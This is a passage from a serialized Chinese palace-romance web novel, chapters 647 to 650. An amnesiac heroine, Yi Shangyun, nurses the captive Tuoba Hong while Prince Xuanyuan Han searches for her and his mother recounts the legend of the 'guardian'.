可最后却只上下打量了自己一番,开口问她:“我浑身上下内外这么多伤痕累累,是你救了我?” 衣上云缓缓垂首下去,心里很是抱歉,又有些尴尬。 昨夜在帮他处理伤口的时候,的确看了他许多隐私部位。 “对不起,你伤得太重,我不放心别人处理,所以……不过你放心,非礼勿视的道理,我是知道的。” 过了会儿,见他不再责怪自己。 方才清了清嗓子后,依旧抬起头来,试着开口道:“我想问你一些事,可以吗?” 拓跋宏缓缓将手里的毯子收起,说:“你想问什么?” 衣上云抿了抿嘴,忽然乍出一句:“你……我……” 犹犹豫豫间,终脱口道:“我们……我们很熟吗?” 拓跋宏霎时惊回过头去,眼睛直勾勾盯视着衣上云的眼睛,心中顿生出一种极不好的预感:“你……” 看到衣上云一脸无辜。 拓跋宏急急回想,道:“我给你的那半粒还魂丹,莫非你真的将它给用了……” 拓跋宏简直不敢相信自己的眼睛。 于是朝其凝视了许久后,看了看周围并无他人,就压低了些许声音再次试探着确认问:“你……可还记得自己是谁吗?” 衣上云想都没想,脱口便说:“我……我当然知道自己是谁了!我怎会忘了自己是谁?” 拓跋宏追问:“那你是谁?” 衣上云道:“我是……我是衣上云……上海某制药集团公司总部ceo……” 听着耳边传来衣上云滔滔不绝的声音,拓跋宏却只觉自己的脑子嗡嗡作响。 看着眼前衣上云的嘴一开一合。 “扑通”一声 拓跋宏整个人竟忽然只身倒了下去…… 第六百四十七章:忘了也好! 看到拓跋宏倒地,衣上云紧忙上前去替其查看。 却只见他眼神涣散,意识似也愈来愈薄弱。 依稀只听他在喃喃自语着:“不……怎么会这样,怎么会是这样?” 接着很快,拓跋宏便就彻底失去了意识,再次陷入昏迷。 衣上云蹲身在其身旁,一边轻晃着他的身子,不断呼唤着:“喂,醒醒,快醒醒,你这是怎么了?” 可见他对自己始终都无一丝回应,于是抬手赶忙去翻了翻他的眼皮,又再次替其认真地把了把脉。 过了会儿,自言自语地说:“脉象似是没有什么问题!” 于是,便用自己弱小的肩膀用尽全力将拓跋宏扶起来,移动放到了殿内的榻上,细心地替其捻好被角。 “许是刚醒过来,尚还未休养好所致吧,且让他再好好歇歇!” 于是,她便蹑手蹑脚地起身来,悄悄走出了大殿。 夜幕降临。 太监捧着一茶盘进来给璟帝奉茶。 璟帝问道:“长宁宫那边,一切可都已经安置妥了?” 太监回答:“皇上英明,幸得留着北烈那条丧家犬的性命,如今果然好用。相信一时半会儿,守护者应该不会再跑了。” 璟帝想了想,抿了一口茶汤,说:“可这也并非长久之计。如今,那拓跋宏只是受了些皮外伤,过不了多久,待其伤势恢复后,定是依旧难以控制他们。” 太监思索片刻,忧心不解地问:“那依皇上的意思……” 璟帝思虑片刻,道:“去告诉张致远,让他想办法,务必不能被察觉,一定要牵制住他们。” 太监恍然明白了其意思,忙道:“是,老奴这就去通知张大人。” 太监说完,便急着转身出门,又闻璟帝拦声道:“等等!” 太监转回头去,问:“皇上还有什么吩咐?” 璟帝思虑片刻,道:“绝对不能伤害守护者分毫。” 太监回忆片刻,又问:“那她肚子里的孩子……” 璟帝默想了一阵,道:“先留着,或许以后还有用场。派人私下里仔细再去查一查,可有谁家丢了孕妇?” 太监想了想,道:“老奴明白了。” 直到翌日晌午过后。 拓跋宏方才再次醒了过来。 一睁开眼,看到衣上云竟然寸步不离地,就趴在自己的榻边守着自己,竟已睡着了。 只觉一股暖流涌上心头,此生从未觉得如此踏实与幸福。 于是,他整个人似是忽然之间也变得精神了许多,从榻上慢慢坐起身,生怕吵到了她。 下榻后,将衣上云一把轻轻抱起,放到了榻上。 替其遮好被子,又理了理她鬓角略显有些凌乱的头发,满脸宠溺,温柔地看着她的脸。 此刻,他真的从未如此希望过,希望时间就停在这一刻,永远不要再变。 不经意间,竟情不自禁地发出一声长叹来:“从前生病,从未有人陪过我。只有你,此生只有你……这次,换我来守着你,好好睡一觉吧!” 然没过多久,衣上云便睁开了双眼。 发现自己竟躺在了拓跋宏的病榻上,衣上云慌忙地起身:“我……我怎么躺在这儿了,你还病着呢?” 拓跋宏一把将她按了回去,说:“让你照顾我许久,实在是辛苦了,现在我已经感觉好多了,你再多睡一会儿吧!” “不行,不行,我怎么能睡在这里?”衣上云依旧拒绝着要起身来。 “我们很熟吗?” 就在两人拉扯之间,衣上云方才所说的这句话再次在拓跋宏的耳畔响起。 这么多年,自己为她做了那么多,没想到如今换来的,竟是她将自己完全给忘了,忘得这般一干二净。 一念至此,他心里不甘心极了。 竟不经意地伸手用力捉住了她的两支胳膊,认真地看着她的眼睛,说:“乌乐,你对我怎能如此残忍?这一生,为了你,我都已经……难道你非要一直都如此拒绝我吗?” 可显然,对于如今的衣上云来说,眼前的这个男人,完全就是一个陌生人。 如果不是看他实在已经难熬那场刑狱之苦,她怎么可能去招惹他? 可这一切到底是怎么回事,为什么自己什么都想不起来了? 每次只要她一用心去想,便会头痛不已。 可见眼前的男人,他亦是如此痛苦。 于是,衣上云只能压抑着自己的情绪,朝其致歉说:“对不起,关于我们之间的许多事情,我是真的都想不起来了……” 看到无论如何,不管他做什么,说什么,衣上云对这一切始终都毫无波澜,已然不是从前的衣上云了。 拓跋宏亦缓缓松开了束缚她胳膊的双手,起身来走到一边回忆过往。 无奈地说:“原本我以为,你既不属于我,那我便放你自由,至少你是幸福的!可万万没想到,有一日,你竟然将这一切都给忘了!甚至,连他都给忘了……” 说着说着顿了顿,拓跋宏忽然说:“忘了也好!如此,宛若重获新生。从此以后,你便就只是你自己。” 这时,衣上云却变得若有所思地下榻来,缓缓踱步朝着门口走去。 拓跋宏问:“你要去哪里?” 衣上云并未回头,只淡淡地说:“殿内太闷,我想到院子里去透透气。” 拓跋宏急忙说:“我陪你去。” 衣上云拒绝了他,道:不,我想一个人静静。你身上有伤,外面暑气大,你需要多加修养,我去去就回。” 拓跋宏知道定是他方才的话给了她许多压力,于是便说:“好吧,那你自己当心!” “嗯!”衣上云点了点头,便夺门而出。 时光匆匆,转眼已是半月过去。 秦王府。 至今都还尚未查到关于衣上云的一丝蛛丝马迹,轩辕翰心里只觉自己度日如年。 云水阁里。 空气中到处都是她的气息,看着眼前关于她的一切,俩人点点滴滴的回忆。 轩辕翰缓缓落坐在衣上云的书案前,口中喃喃道:“云儿,你一定还活着对不对?如果你还活着,为什么不回来找本王?难道,你还在恨本王?又或许,你将本王给忘了不成?” 这时,程良脚步匆匆地来到了轩辕翰的面前。 朝其禀报说:“启禀殿下,前几日殿下吩咐属下所查的事情,如今有了新的进展。” 轩辕翰的眼睛怔了一下,冷声道:“说!” 程良继续道:“长宁宫里如今除了住着皇上的那位神秘幕僚,听说没过几日,又住进了一位男子。” 轩辕翰道:“莫非又是个什么幕僚不成,如今长宁宫都快要变成什么阿猫阿狗都可以住进去的地方了。” 程良紧忙解释道:“不,后来的那名男子,似是原本是被关押在天牢里的囚犯,听说被折磨的都快死了。可不知怎的,后来亦被送进了长宁宫。” 轩辕翰一边听,一边心里默默地思考着:“幕僚……天牢里的囚犯……” 默想了一阵,说道:“这两人之间看似毫无共处,然越是看不出端倪,便越是必有什么联系,可曾让人查一下?” 程良面露起难色,道:“长宁宫里的消息,很难打探到!” 闻此,轩辕翰亦陷入了沉思。 这时,程良又继续禀报说:“还有……我们的人发现,张致远每日都会去长宁宫里给那位幕僚单独请脉!” “请脉?何须每日?”轩辕翰听了甚是不解地说。 半晌后,轩辕翰忽然吩咐说:“你亲自让丁香想办法去探一下张致远给长宁宫里每日的处方。” “丁香……是啊,属下怎么把她给忘了?”程良顿时醒悟。 轩辕翰瞪了一眼,程良便赶忙说:“属下这就去安排!” 程良离去,轩辕翰心中只觉璟帝此次之举着实神秘,沉思着道:“长宁宫里,到底是什么人?” 在衣上云的精心照顾下,拓跋宏身上的伤已然大好。 这日午后,衣上云独自坐在后院一株高高的蒲桃树架下乘凉。 一边挥动着手里的扇子,一边昂起头来望着头顶过不了多久,便会变得晶莹剔透的果实。 沉思着:“如今拓跋宏的伤也都已经好的差不多了,是时候得赶快想一想办法,怎么才能带他离开这里了?无论如何,只有先离开这里,有了自由,才能想办法回去。” 回廊的另一头,拓跋宏远远看着眼前犹如被关在笼子里的鸟儿一般,失去自由的衣上云。 他知道,是自己拖累了她,让她丢了自在。 于是心里暗暗道:“你放心,我一定会带你离开这里。去一个没有人认识我们的地方,一切都会从头开始,相信我,我们都会好起来的。” “发什么呆呢?” 闻声,衣上云忽地醒过神来,看着头顶的蒲萄架,一抹潸然愁绪涌起。 “小时候,我最喜欢外婆家院子里的那颗蒲萄树,我觉得那是这个世上最甜最甜的蒲萄,没有之一。我的童年里,父母经常不在身边,外公外婆很重要。可长大后,发生了很多事情,外公去世的太早,外婆家,也再没了那颗蒲萄树。” 拓跋宏看了看与衣上云所见一样的蒲萄架,缓缓落座在其身旁,道:“子欲养而亲不在,或许这便是成长。我相信,他们对你的爱,永远都不曾改变。” 衣上云想了想,道:“嗯,我心中对外婆的爱,也从未变过。” 拓跋宏感慨地说:“人的一生很短,所以要牢牢抓住自己想要的,珍惜当下!” 对此,衣上云则陷入了自己的沉思。 第六百四十八章:重蹈覆辙 夜深人静。 秦王府,承华殿里,却依旧灯火一片通明。 打从苏醒以来,他便着令分布在西秦各处的王军四处全力打探衣上云的消息。 然时至今日,却依旧没有任何消息传回。 一想到衣上云本不该有孕,却是实实还怀着身孕,这便更加令他着实已经自责担心的要发狂。 可渐渐地,轩辕翰眉头紧蹙,不禁亦慢慢开始心生质疑起自己来。 “莫非这一切,真的都只是本王一个人的错觉。张致远从未在本王昏迷之中带来过云儿尚还活着的消息?!” 然比起这个,他显然自是更加不能接受衣上云离世的事实。 “不可能,不可能……” “云儿她不可能死,她是守护者后人,拥有守护者一脉神秘力量的庇护,她是如此善良,那般坚强,她绝不会这般轻易便死去,不会,不会……” 情急之中,一怒之下,他竟人生第一次失去了理智,将自己面前案上的东西一把大力地掀翻在地。 偌大寂静的殿内,瞬时响起一阵“噼里啪啦”的破碎声音来。 守在门外的副将程良听了,心疼又无奈。 从未见主子发过这般大的火,难料轩辕翰方才下令,任何人都不许进殿打扰,他便也只能默默地守在殿门口了。 正愁不知该如何是好? 这时,纯太妃带着欢儿来到了承华殿,恰好遇到了这一幕。 看到太妃深夜到来,程良紧忙打起精神,抱起拳来朝其行礼:“太妃娘娘,这么晚了,娘娘怎么……” 话未说完,纯太妃忽抬手阻止了他,轻声地问:“都已经这么晚了,殿下可是还未歇下吗?哀家见承华殿里的灯火都还亮着。” 闻此,程良顿恢复方才的一脸苦涩,摇了摇头:“张致远反口不认那日来王府对殿下所说的耳语,王军至今亦都还尚未寻到王妃娘娘的消息,王妃娘娘尚还有孕在身,殿下为此日夜寝食难安,这会儿又在发脾气了!” 纯太妃朝着殿内方向望了望,轻叹了一声。 遂对身旁的欢儿说道:“你在这儿等着,哀家亲自进去看看!” 程良便接过了欢儿手中所捧的茶盘,与纯太妃一同进入大殿。 岂料刚一听到有脚步声传来,轩辕翰竟就大声呵斥了起来。 “出去!” “谁准你们进来的!” “都不要来烦本王!” “滚出去!” 直到听到纯太妃的声音:“皇儿好大的脾气,怎么,就连母妃我,也不能进来吗?” 闻声,轩辕翰方才收了声,赶快站出来行礼:“母妃,您怎么来了?” “深更半夜,皇儿在府里闹出这般大动静,怕是方圆十里之外都听到了。” 纯太妃说着,进来一见轩辕翰此刻一脸憔悴的模样,便心疼地上前过去抚摸着他的脸。 难以置信地道:“这是……这……这怎么都成这个样子了?” 遂朝着与其一道刚进殿,便就赶忙蹲身下去收拾起这一地狼藉的程良,厉声斥责道:“程将军,你是怎么照顾你家殿下的,哀家今夜若是再不来,殿下是不是又要病倒了?如此反复,你可担得起这责任?” 程良紧忙跪地认错:“都是属下的错,未能照顾好殿下,请太妃娘娘降罪!” 看到纯太妃一脸认真,只怕是真的要惩罚他,轩辕翰便着急地道:“本王方才交待你的事,可都已经办妥了,还杵在这里做什么,还不快去办?” 程良知道是这个主子在护着他,便答应道:“是,属下这就去办!” 于是,便带着刚刚收起的一地狼藉退了下去。 纯太妃一眼便看出了轩辕翰的心思,说:“大半夜的办什么差?怎么,怕母妃责罚他,所以便赶快将他给支走了!” 轩辕翰这才开口朝纯太妃解释说:“母妃,这并不是程良的错,母妃不要错怪了他。儿臣……儿臣……” 自己的儿子,自己又怎会不知,纯太妃渐渐卸去了脸上的严厉,转而温和地劝说起来。 “行了,母妃知道,你是因为至今都还未寻到关于王妃的下落,所以才整日忧心忡忡,又苛待自己。可是,你就没想过,若是你再病倒了,那还怎么将王妃寻回来呢?” 闻此,轩辕翰顿看向纯太妃的眼睛,颇为认真地问:“难道母妃您也相信,云儿……她还活着?” 纯太妃将轩辕翰拉到一边坐下,缓缓说:“母妃一直都相信,云儿她吉人天相,曾经历过那么多苦难与凶险,每一次她都能逢凶化吉,那这一次,又怎会不能呢?” 轩辕翰听着,可心里依旧却还是担心。 纯太妃接着又道:“她是守护者后人,有守护天下苍生的责任,不会如此轻易便就殒命的!” 闻此,轩辕翰顿瞪大了眼睛再一次惊诧地看向纯太妃的脸,惊声道:“母妃?” 纯太妃亦目光坚定地看着他,不容他再质疑自己:“皇儿,不要再瞒母妃了。或许,母妃比你还要更早知道,她便是我西秦遗失多年的守护者后人!” 轩辕翰不解地问:“母妃您是何时知晓的?” 纯太妃并未马上回答他的疑问,遂将自己带来的汤碗端起来,轻轻搅拌了两下。 递到了轩辕翰的面前,心疼地说:“大病初愈,这段时间,因为这件事,皇儿又太过着急伤神,这是母妃亲自给你煮的四神汤,先把这碗汤喝了吧!” 看到轩辕翰总算是听话的将其接过去,徐徐喝起了那碗汤来。 回忆过往,纯太妃方才缓缓说道:“其实,在桃花店村的时候,母妃便就已经知道了!只是,对于自己如此特殊的身份,她亦是毫不知情。后来,尚还未知晓她的心意,我们便就匆匆分开了……” 想起那段朝夕相处的日子,到最后,却是匆匆一别,纯太妃甚觉遗憾:“那时,母妃还以为,我与她,这辈子都不会再见了。” 可谁又曾想,这世界说大不大,说小又不小,二人竟还能再见,而这一面,却是让她又喜,又惊。 “兜兜转转,没想到,她竟然成了我的儿媳妇!母妃真的是又高兴,又害怕!” “母妃是真的替皇儿开心,能娶得如此称心如意的王妃。” “她的确很好,善良、勇敢、坚毅、正直。是母妃见过的女子中最好的女子,胜过任何一位名门贵女。” “可母妃也害怕极了,母妃怕她的身份一旦暴露,皇儿你便会成为众矢之的,受世间万目仇视。” “所以一开始,母妃本想要让她主动离开你……” 话说至此,轩辕翰坚定无比地表明自己的立场,说:“母妃不要想了,此生儿臣既然认定了她,便就只有她。即便豁出儿臣的性命,儿臣亦在所不惜。” 纯太妃重重地叹了口气,说:“怕只怕,纸终是包不住火的。守护者,她只属于天子!” 这时,轩辕翰忽然乍出一句:“可若如今的天子,并非真正的天子呢?” 纯太妃听了,顿显满脸惊诧地道:“你说什么?” 轩辕翰目光定定地看着自己的前方,不再说话。 对于这个消息,纯太妃的确震惊不已。 可暂且抛开一切不说,顺着这句话往下想去,最后却令她更加难以置信。 “如果……如果真正的天子不是宫里的那位,那便就只剩下……” 纯太妃简直都不敢往下再继续想。 许久,方才弱弱地说了句:“如此一来,那守护者便就只能是属于皇儿你的。” 至此,轩辕翰方才再次开了口,说:“她自是只能属于本王一人,谁都妄想将她从本王的身边抢走!” 然纯太妃却似若有所思着,缓缓不停地摇起了头来:“不对,不对……” 轩辕翰见了,问:“什么不对?” 纯太妃一边回忆着,一边说:“守护者虽只能臣服于天子,但却不能为天子所宠幸。当年,你的父皇,他就是违背祖训,在见过了守护者画像后,便对其念念不忘。以至于后来不顾任何人反对亦欲将守护者纳入后宫为妃,这才使得守护者在被送入宫来的途中遭遇了意外,不慎遗失。没有了守护者,你父皇亦日渐郁郁寡欢,最终离世!” 轩辕翰却怎么都不愿相信当年守护者的意外是因为这个原因,于是反驳道:“当年守护者定是遭人暗算才遗失的,怎可能是因为父皇。如果没有云儿,儿臣要这天下又有何用?” 纯太妃见其一意孤行,如同昔日的先皇一模一样,于是着急地想要继续劝说:“皇儿……你万万不可再重蹈你父皇的覆辙。你难道还不明白,或许,云儿这次的离开,便是你因此而造成的。为了天下苍生,你千万不可再……” 然轩辕翰依旧执迷不悟,不容劝说道:“母妃,夜已经深了,您该回紫和轩歇着了!儿臣亦要歇下了!” 纯太妃看着他此时忽然变得一脸决绝的脸,却依旧还想试图劝些什么:“皇儿……” 岂料轩辕翰竟先行踱步离开了承华殿。 第六百四十九章:春三月,风一样的男子 看着轩辕翰分毫不听自己的劝说,义无反顾决绝而愤怒地离去。 一时间,纯太妃的心里满是五味杂陈。 此时,她又何尝能接受如此恍如晴天霹雳般的消息:“这怎么可能,轩辕烨……他竟不是先帝的骨血……” 冥思良久,终是百思不得其解。 最后,她失魂落魄地走出了承华殿。 自己这一生,与先帝之间的点点滴滴顿现心头,如流水潺潺般,在这寂静的夜里缓缓流淌着。 伴随着这一世的情仇爱恨,喜怒与悲哀…… 先帝此生最重要的两个女人,太后与自己。 虽然自己入宫晚一些,未曾拥有那个高高的位置。 可先帝却是在她入宫后,对她更为用心和疼爱,相敬如宾,呵护备至。 本以为,也就如此平淡一生,安静地度过,安稳地生活。 有个人疼爱自己,还有个儿子相伴,亦算足矣! 直到有一日,守护者后人的画像被人送入宫中。 一切,便都变了。 先帝的眼里,不再有任何人。 整日,只同一张画为伴。 的确,那守护者后人,是个连身为女子的自己亦是一见便此生再也忘不了的模样。 更何况是先帝呢! 世界很大,可她自己的世界却很小很小,然即便只有如此卑微狭小的世界,亦从此彻底失去了颜色。 可谁都没想到,后来,守护者后人在被送入宫中的半途中,竟遭遇意外失踪了。 先帝得知此消息,多少个日日夜夜的期盼顷刻间变为意难平,遂一口鲜血喷出,从此便流连于病榻,直至薨世。 不成想这一丢,便是几十年,在此期间,西秦更是天灾人祸不断。 被其余三小国频频侵犯,自己的儿子,亦是四处征战不断,灵空大陆上,到处战火连绵。 太多的百姓们妻离子散,流离失所,仿佛整个天下大乱了一般…… 就这样一边走,一边想着,刚一跨步出殿门,脚下忽地一个踩空。 “太妃娘娘当心脚下!” 幸亏尚还侯在门口的欢儿看见,赶忙疾奔上前去将其一把扶住。 着急关切地道:“太妃娘娘这是怎么了?” 怎料纯太妃至今都丝毫没有意识到自己脚下的危险,只一个劲地发出着喃喃低语。 “这不可能?” “这绝对不可能?” “怎么会这样?” “怎么会成这样?” “到底发生了什么?”看到纯太妃如此似惊魂不定的模样,欢儿亦是相伴其多年,从未见过她如此。 忽然,纯太妃一把紧紧握住了欢儿的手臂,紧紧盯视着她的眼睛,说:“殿下和王妃,他们不能在一起,不能在一起,绝对不能……” 欢儿不明白地道:“殿下和王妃娘娘不能在一起,为什么?” 纯太妃一个劲地摇着头。 回忆上任守护者失踪后的西秦国,至今都甚觉触目惊心:“先帝之前,只是想将她收入后宫,此事尚还未成,便就已引起天怒人怨,致使我西秦当即遭受到大旱三年,饿殍满地……” 现如今,轩辕翰所为,更是令她惊恐不已:“如今,他们竟然都已经……” 欢儿此时显然不知道纯太妃到底在说什么,便问:“太妃娘娘这是在说什么呢?” 纯太妃只害怕极了地深陷在自己的思绪里,自顾自地说:“守护者……守护者……西秦不能再失去守护者……” 纯太妃仅只是想想,便已经害怕地要命。 她本以为,只是怕璟帝得知守护者成为秦王妃会迁怒而祸及王府,可她怎么都没想到,璟帝竟不是先帝亲生。 真正的天子,竟是自己的儿子,而自己的儿子,竟然与守护者成了…… 似是想都不敢继续往下想去,纯太妃心里焦急不安极了:“如此下去,不是皇儿,而是守护者……” 欢儿着实被此刻眼前纯太妃似是魔怔了的样子吓到,都快哭了:“娘娘您这到底是怎么了呀?您不要吓欢儿!” 纯太妃依旧自顾自地说:“如此下去,守护者将会万劫不复!世间从此亦将再无守护者……” 闻此,欢儿顿大惊失色地道:“什么?守护者将……那该怎么办?” “怎么办?” 听到这句话,纯太妃顿陷入深沉而又惶恐的沉思中。 夜幕下的西秦皇宫。 一座又一座高耸的殿宇,屹立在这静谧的夜里,显得格外肃穆和庄严。 辉煌璀璨的灯火,宛如头顶遥遥苍穹上的星河倒映一般,点缀其间。 从最高的城楼上往外放眼看去,遥遥星河,苍穹之下,万家灯火,一切显得都是那么的美好! 长宁宫。 衣上云静静地躺在榻上,百转千回的思绪,让她辗转反侧,难以入眠。 透过窗棂望向夜空,一轮明月正高高地悬挂于树梢之上。 和着阵阵夏虫鸣唱的声音,仿佛隐隐约约似传入耳畔一阵悠悠的笛声。 于是,她默默地起身来,推开门走了出去。 寻声觅去,迎着昏黄的烛火之光,走在曲径通幽的回廊上。 又迈过了几块石板,越过一座小拱桥,桥下是一片幽幽沉沉的荷塘月色。 这时,方见原是同样夜不能寐的拓跋宏,正立在荷塘边的廊亭里,对着头顶的明月以其悠扬的笛声朝其倾诉着自己复杂的思绪。 衣上云便轻轻地走到其身后的石凳上坐下,安安静静地听完了他的整首曲子。 曲终,待到拓跋宏收起笛子,忽地回头,发现衣上云不知何时来到自己身边,遂有些惊诧地向其致歉道:“可是我的笛声吵到了你?” 衣上云笑着对其摇了摇头,说:“没有,不是你,是我本来就睡不着!” 闻此,拓跋宏顿愣了一下,马上担心极了地询问说:“可是身子哪里不舒服所致,让我瞧一瞧。” 说着,便紧张地欲要伸手过去替他把脉。 衣上云如今已是本能一般地将手护在自己的腹部,解释道:“不用,我没有哪里不舒服。我很好,我真的很好。你不用替我担心,我只是……天热,有些睡不着,所以才想出来透透气。” 见其欲言又止,拓跋宏缓缓收回自己扬起在半空中的手,心中隐隐似是已猜到了她的心思。 月光照耀下,伴随着水面上所泛起的涟漪,现出层层波光粼粼来。 幽幽荷香,借着晚风四处飘散,阵阵暗香扑鼻而来。 俩个人就这样静静的坐着。 很长一段时间里,谁都没有再开口说话,不知各自都在想些什么? 许久后,却又忽然一起同时开了口。 衣上云:“我想问你一个问题……” 拓跋宏:“我想问你一个问题……” 显然,这会儿两个人的确都有些许尴尬。 可紧接着,却又不想再次说了同样的话来。 拓跋宏:“你先说!” 衣上云:“你先说!” “还是你先说吧!” 最后,还是衣上云坚持让拓跋宏先开口。 这段时间以来,拓跋宏心里挣扎了许久。 不知是不是今夜里这温柔的南风所致,此时似是终于鼓起了勇气来,问:“我一直想问你,魏明轩是谁?” “魏明轩……” 闻此,衣上云默念了一句,思绪随之亦忽然变得好长好长。 记忆回到了自己的中学时代。 过了许久,方才深吸了口气,说:“魏明轩……初见他时,那天的天空很蓝,仿佛从未见过那般蓝蓝的天。他,就仿佛春三月里的一阵风,在一道春光乍泻下,熠熠生辉。从此一眼,便是万年。” 果然,一切正如他所料,他就知道会是这样的结果。 这一刻,他的确嫉妒的发狂。 可为什么即便如此,他依旧还是心存着一丝期盼,希望不是自己所想的那样。 直到此刻,听到她亲口说出来。 他的心,亦只觉顿时痛到了极点。 他竭力压抑着心头这份沉重的痛,再次开口:“能让乌乐喜欢的男子,他一定很优秀吧?” 回忆过往,不知想起了什么,衣上云忽然眼含着泪花,却又淡淡的笑着,道:“并不是。” 拓跋宏于是便有些好奇了:“不是……那你怎么……” 衣上云眼中含光,悠悠地说:“魏明轩,是个一直都很安静的人,哪怕只有我和他两个人时,他亦是很安静,但只要他在身边,我便很安心。” 顿了顿,衣上云轻抿了抿嘴唇,继续说:“喜欢一个人,或许就是这样。人群之中,一眼是他,认定了他,此生便就只有他了!” 拓跋宏能感受到她说起魏明轩时的愉悦,心里虽然酸楚,却又不禁默默地赞叹:“不为权势,没有利益,往往最单纯美好的感情,即是如此。” 拓跋宏实在是羡慕他们这样的感情,遂试探着问:“那在你的另一个世界里,你们一定很幸福吧。” 闻此,刹那间,衣上云缓缓卸去了脸上的淡淡笑容。 顿时一股心酸涌上心头,泪水亦瞬间模糊了她的双眼。 其嘴里喃喃低语道:“我把他……弄丢了。” “什么?” “你把他弄丢了!” “怎么回事?” 闻此,拓跋宏发出连连惊叹声来。 第六百五十章:无关风月,不问朝夕 许是不想被人看到她此时再也忍不住流下的眼泪,衣上云忽地垂头下去,连连摇着头。 “我也不想……” “你知道我心里至今有多自责……” “可我真的不知道……” 前尘往事,记忆深深,事实上,她的确连自己也不甚明白。 拓跋宏惊诧万分的看着她低垂的头,一时竟不知该说些什么。 于是,他等了许久许久,想等她再次开口。 直到最后,却见其微微颤抖的肩头,他知道她已然伤心不已,在偷偷哭泣。 遂心疼地赶忙伸出一只手去想要给予她些许安慰,可眼看着,就在将要搭上她的肩的那一瞬间,其手里的动作却嘎然而止。 一只手,开始犹犹豫豫地停留在半空中。 最后,他还是将它默默地收了回来。 缓缓移动目光,转而看向头顶的灿烂星空,惋惜不已开口地说:“既是彼此生命里,如此这般在意的人,你心悦与他,他亦如此。茫茫人海,遇见已是不易,又怎会轻易便就放弃了?” 这时,衣上云吸了吸鼻子,终于再次抬起头来,用手背抹了抹脸上的泪痕。 说:“那时我们都尚还在校园,家里人一致认为我们太过年轻,并不懂得何为爱!如何爱人,亦或被爱。于是迫于双方家里的压力,我承认,是我先退缩了,对他说了一些不该说的话。现在想想,是我不对,我应该相信他,不该怀疑他。” 拓跋宏问:“你……对他说了些什么?” 衣上云想了想,说:“我约他,六年后再见,那时的我们,定能承担起所有一切。可我其实当时便就后悔了。于是我想马上见到他,想亲自当面同他解释,甚至反悔,立刻收回那些话也可以。 伴随着情绪忽地愈来愈有些激动,随后又再次慢了下来:“可他却就这样从我的世界里彻底消失不见了,任我无论再怎么找,也找不到!” “怎么会这样?”看到衣上云伤心难过,拓跋宏亦替其深感惋惜。 衣上云依旧缓缓幽幽地说着。 “无论如何,六年之约到了的那一天,我在学校从凌晨等到次日凌晨,一分一秒都不曾离开,唯怕错过。可他,却始终都未出现。” “最后,我甚至怀疑自己,是不是我们之间,本就是我一个人的错觉。” “这么多年过去了,或许他早就将我遗忘,在世界的某个角落,已经结婚生子了呢?” “如此,我一个人这么多年的等待,不就成了一场笑话了吗?” 看到衣上云最后竟开始质疑起自己,甚至露出绝望极了的眼神,拓跋宏徐徐开解她说:“或许……是不是他发生了什么事,无法准时赶到,赴你那六年之约而已呢?” 闻此,衣上云轻笑了一声,叹道:“或许,亦只是或许而已……” 遂将一手轻轻附在自己的腹部,自嘲般地道:“即便我未曾将魏明轩弄丢,可如今这个样子,我还有何颜面再去见他!” 顺着衣上云的目光望去,拓跋宏亦陷入了一片沉思。 “没想到,像乌乐这般几乎无可挑剔的女子,竟也有着如此的无奈与坎坷。可见这世间的男男女女,真是无不令人唏嘘感慨!” 过了会儿,衣上云似是已渐渐走出了自己的回忆。 忽然开口将拓跋宏的思绪打断说:“好了,你问的,我都已回答你。现在,你也该回答我的疑问了……” 闻此,拓跋宏深吸了口气,抢先说:“你是不是想知道,你在这里都经历了什么??” 衣上云不禁有些惊讶,她还未说出口,他竟已经猜到了自己的疑问。 于是点了点头,好奇地说:“你知道,为什么他们称呼我为王妃娘娘吗?我……是谁的王妃?谁是我的……” 此话一出,拓跋宏急忙起身来附手上去一把赌了她的嘴:“嘘……” 遂紧忙朝周围看了看,幸好没有什么异常,方才压低了声音,将其打断问:“是谁如此称呼你的?” 衣上云想了想,亦放低了声音道:“就是每日来这里给我请脉的那个叫丁香的药女,她亦总是在没有外人的时候背地里悄悄称呼我为王妃娘娘。” 拓跋宏不禁有些疑惑:“既然如此,难道她就没有跟你提及什么吗?” 衣上云摇了摇头,说:“每次我一问她,她亦目光四处躲闪着,并不愿再多说什么。” 拓跋宏心里默默地想:“看来那药女,亦是知道此事非比寻常,故意秘而不宣,在保护着她。” 这一切,终究还是瞒不过她。 看到拓跋宏似是在犹豫,衣上云怯怯地问:“你能不能……” 顿了顿,继续问:“你能不能告诉我,我在这里所发生的事?他们为什么要把我囚禁在这里?还有关于这个孩子……” 终于,她还是问起了这些来,拓跋宏脸上顿现出一抹忧郁。 他原本还以为,对于她来说,忘记这里所发生的一切反倒更好。 可如今,她还是一而再,再而三地问起。 “为什么又想知道这些了?就这样做现在的你,难道不好吗?”思虑许久,拓跋宏终反问她。 “我……”衣上云的心中显然亦有些许犹豫。 原本这里的一切,的确都与自己无关,可现在因了她腹中的这个孩子。或许许多事,她还是应该给自己一个交代。 思及此,衣上云非常坚定地道:“我想我应该让自己知道,在这里,到底发生了什么,这个孩子,又究竟是怎么一回事……” 就在拓跋宏就此事思量再三,正欲开口说话时,忽觉一阵眩晕感袭向头部,不禁使得他的身子亦轻轻摇晃了两下。 衣上云看见,急忙起身来上前过去将他一把扶住,问:“你怎么了?” “咳……咳咳……” 紧接着,便闻拓跋宏忽然发出一阵轻咳声来。 怕她担心,拓跋宏一边掏出自己的巾帕来捂住嘴巴,一边将她推开一些。 告诉她,道:“我没事,你离我远点儿。我可能感染了风寒,如今你又有着身子,莫被我传染了!到时候怕是就……” 岂料话未说完,紧接着便是又一阵重咳声:“咳咳咳……咳咳咳……” 明显,这阵咳声比上次要沉许多。 衣上云心中不禁有些担心起来,问:“你到底怎么了……要不要我帮你看看……真的可以吗?要不,我先扶你回房休息吧!” 拓跋宏一手用巾帕捂紧自己的嘴,一手不停摇摆着,示意衣上云无需担心,自己并无大碍。 不得已,衣上云只能替其一次又一次地轻抚其后背,使他能感觉舒服一些。 忽然,拓跋宏似是想起了什么,发觉有些不对劲,顿惊了一下,遂缓缓拿开了手里的帕子。 借着皎洁的月光照耀,他竟看到了自己的巾帕上被他咳出了一滩血迹。 拓跋宏顿时望着其,整个人都惊呆了。 就在他不禁为此而顿时怔愣住,似有所思时,衣上云忽从其身旁凑了上来,关切地问:“怎么了?” 意识到她凑身过来,拓跋宏紧忙将手里的巾帕卷起,藏在了身后,依旧笑着对衣上云说:“没什么!” 遂拉起她,装作若无其事地一同再次落座了下去。 最后一次朝她认真地确认:“我问你,你真的……想知道这一切吗?” “嗯,我想知道!”衣上云亦默想了一会儿,朝他认真地点头回应。 